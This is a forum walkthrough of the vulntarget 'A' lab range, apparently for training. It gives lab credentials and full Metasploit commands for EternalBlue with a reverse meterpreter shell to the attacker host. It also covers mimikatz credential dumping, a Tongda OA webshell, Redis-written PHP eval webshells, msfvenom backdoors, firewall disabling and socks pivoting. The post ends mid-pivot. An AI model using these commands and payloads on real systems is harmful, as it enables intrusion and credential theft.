Jump to content

Title: vulntarget shooting range series-a-writeup

Featured Replies

Posted

Network Configuration

External network WIN7: ip1: 192.168.127.91/255.255.255.0, gw:192.168.127.2 (NAT mode) ip2:10.0.20.98-vmnet1 (host mode only) Domain host member: 10.0.20.99-vmnet1 (host mode only) 10.0.10.111-vmnet2 (host mode only) Domain control: 10.0.10.110-vmnet2 (host mode only) Password configuration: Win7: win7/adminwin2016: Administrator/Admin@123, vulntarget.com\win2016 Admin#123win2019: vulntarget.com\administrator Admin@666

Information Collection

Scan the host arp-scan -l Scan the surviving host in the same network segment 1049983-20221213191711513-1626284435.png Discover a surviving host :192.168.127.91 Scan the port to scan the IP address of the surviving target machine

nmap -sC -T4 192.168.127.91 1049983-20221213191712192-145196284.png Found that the target system is win7, and the 445 port is open. Try to use Eternal Blue (ms17-010) to hit the target system

Intranet host penetration

Enter the command in kali: msfconsolemsf 6 search 17-010msf 6 use 0msf 6 set payload windows/x64/meterpreter/reverse_tcpmsf 6 set lport 6666msf 6 set lhost 192.168.127.129msf 6 set rhosts 192.168.127.91msf 6 run 1049983-20221213191712956-1029759909.pngmeterpretershellC:\Windows\System32ipconfig 1049983-20221213191713593-1283889188.png I found some garbled code, so I just set C:\Windows\System32CHCP 65001 #65001 UTF-8 code page C:\Windows\System32ipconfig #I found two network segments, one is the 192.168.127 network segment, and the other is the 10.0.20 network segment 1049983-20221213191714161-1094728529.pngC:\Windows\System32whomai # Check the current user's permissions as system permissions 1049983-20221213191714702-252348703.pngC:\Windows\System32tasklist/svc #View the process and found that there is no Killer in the system 1049983-20221213191715346-1589597284.pngC:\Windows\System32exit #Exit shell command terminal 1049983-20221213191715906-298369840.pngmeterpreterload kiwi #Load mimikataz module meterpretercreds_all #Get the login credentials for all current users, find that the user name is win7 and the password is: admin 1049983-20221213191716474-911388489.png

Web penetration

Direct access, http://192.168.127.91/, found that it is Tongda OA 1049983-20221213191717226-1654624579.jpg View the version number of Tongda OA. The current version is 11.3http://192.168.127.91/inc/expired.php 1049983-20221213191717943-640772642.png Search for Tongda 11.3 Existing file contains vulnerabilities through search engines: https://blog.csdn.net/hackzkaq/article/details/115900500 Use one-click graphical tool to obtain webshell 1049983-20221213191718577-2099848132.png Connect successfully using ant sword 1049983-20221213191719216-2051261566.png 1049983-20221213191719873-1907814987.png Also, the permission to view the current user under the command terminal of the Ant Sword is system permission 1049983-20221213191720452-937084830.png

Handalone penetration

When a process is migrated and obtained a shell, the shell is extremely fragile, so it is necessary to move the shell to bind it to a stable process in the target machine without any write operations to the disk, which makes penetration more difficult to detect.

After the automatic migration process command (run post/windows/manage/migrate), the system will automatically find the appropriate process and then migrate meterpreter run post/windows/manage/migrate #Migrate from spoolsv.exe of 1080 to the 4800 process of noepad.exe 1049983-20221213191721109-1484099161.pngView the local network connection sub-segment meterpreter run get_local_subnets 1049983-20221213191721606-1086021725.pngAdd a dynamic route meterpreter run autoroute -s 10.0.20.0/24 or meterpreter backgroundmeterpreter sessionsmsf6 exploit(windows/smb/ms17_010_eternalblue) use post/multi/manage/autoroutemsf6 exploit(windows/smb/ms17_010_eternalblue) set session 1msf6 exploit(windows/smb/ms17_010_eternalblue) run 1049983-20221213191722153-1006008758.pngmeterpreter background 1049983-20221213191722667-1892001697.png Discover the surviving host msf6 exploit(windows/smb/ms17_010_eternalblue) use post/windows/gather/arp_scannermsf6 exploit(windows/smb/ms17_010_eternalblue) set session 1msf6 exploit(windows/smb/ms17_010_eternalblue) set rhosts 10.0.20.1-254msf6 exploit(windows/smb/ms17_010_eternalblue) run 1049983-20221213191723297-1260029520.png Another surviving host was found 10.0.20.99 to enable socks5 proxy msf6 exploit(windows/smb/ms17_010_eternalblue) use auxiliary/server/socks_proxymsf6 auxiliary(server/socks_proxy) run 1049983-20221213191723930-1794879283.png 1049983-20221213191724427-2109448838.png Port scanning first, you need to modify the /etc/proxychain4.conf configuration file

vim /etc/proxychains4.confsocks5 127.0.0.1 1080 Scan the commonly used ports of the target IP through nmap proxychains nmap -sT -Pn 10.0.20.99 -p22,23,80,139,445,1433,3306,3389,6379,8080 1049983-20221213191725085-1001411680.png Found that the 10.0.20.99 host is open to ports 6379 and 80. Here is a local socks5 proxy client service proxifier software 1049983-20221213191725785-1588524664.png scanned through dirsearch and found that the target has a phpinfo.php sensitive information page python3 dirsearch.py -l url.txt -t 10 -e * -i 200,302 --format csv -o C:\Users\backlion\Desktop\dirsearch-master\xxx.com.csv or execute proxychains under attack machine kali python dirsearch.py -u http://10.0.20.99 -i 200proxychains dirsearch -u "http://10.0.20.99" --proxy=socks5://127.0.0.1:1080 -t 5 1049983-20221213191726385-1294028240.png Visit the phpinfo.php page to find that the absolute path of the website was exposed: C:/phpStudy/PHPTutorial/WWW/http://10.0.20.99/phpinfo.php 1049983-20221213191727081-1201665938.png

http://10.0.20.99/l.php 1049983-20221213191727770-861141790.png

Redis Unauthorized Access

Remote connection without password through redis-cli command proxychains redis-cli -h 10.0.20.99 1049983-20221213191728367-1733397848.png

Redis writes to webshell

10.0.20.99:6379 CONFIG set dir 'C:/phpStudy/PHPTutorial/WWW/' #Switch to the absolute path that can be written to the shell 10.0.20.99:6379 set x '\n\n\n?php @eval($_POST['x']);\n\n\n' #Write a sentence Trojan 10.0.20.99:6379 config set dbfilename shell.php #Set the file name as shell.php10.0.20.99:6379 save 1049983-20221213191728929-503785144.png Here is a proxy through the ant sword on the local host, and connect to webshell 1049983-20221213191729485-1343399498.png 1049983-20221213191730111-2001546599.png 1049983-20221213191730770-72949433.pngView the current user permission is system 1049983-20221213191731393-709923329.png

Upload MSF backdoor

Generate forward shellcodemsfvenom -p windows/x64/meterpreter/bind_tcp LPORT=3333 -f exe shell.exe 1049983-20221213191731957-122766111.pngUse ant sword to upload shell.exe to 10.0.20.99 and execute 1049983-20221213191732625-154911111.png to configure the listener

use exploit/multi/handlerset payload windows/x64/meterpreter/bind_tcpset lport 3333set RHOST 10.0.20.99run 1049983-20221213191733277-1105419620.png Close the firewall netsh firewallsetopmodemode=disable 1049983-20221213191733839-1174595946.png Run shell.exe in the ant sword command terminal 1049983-20221213191734460-1687241523.jpg Collect the same network segment host meterpreter arp 1049983-20221213191735076-285032627.png Scan the 10.0.10.110 network segment migration process run post/windows/manage/migrate

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

Important Information

HackTeam Cookie PolicyWe have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.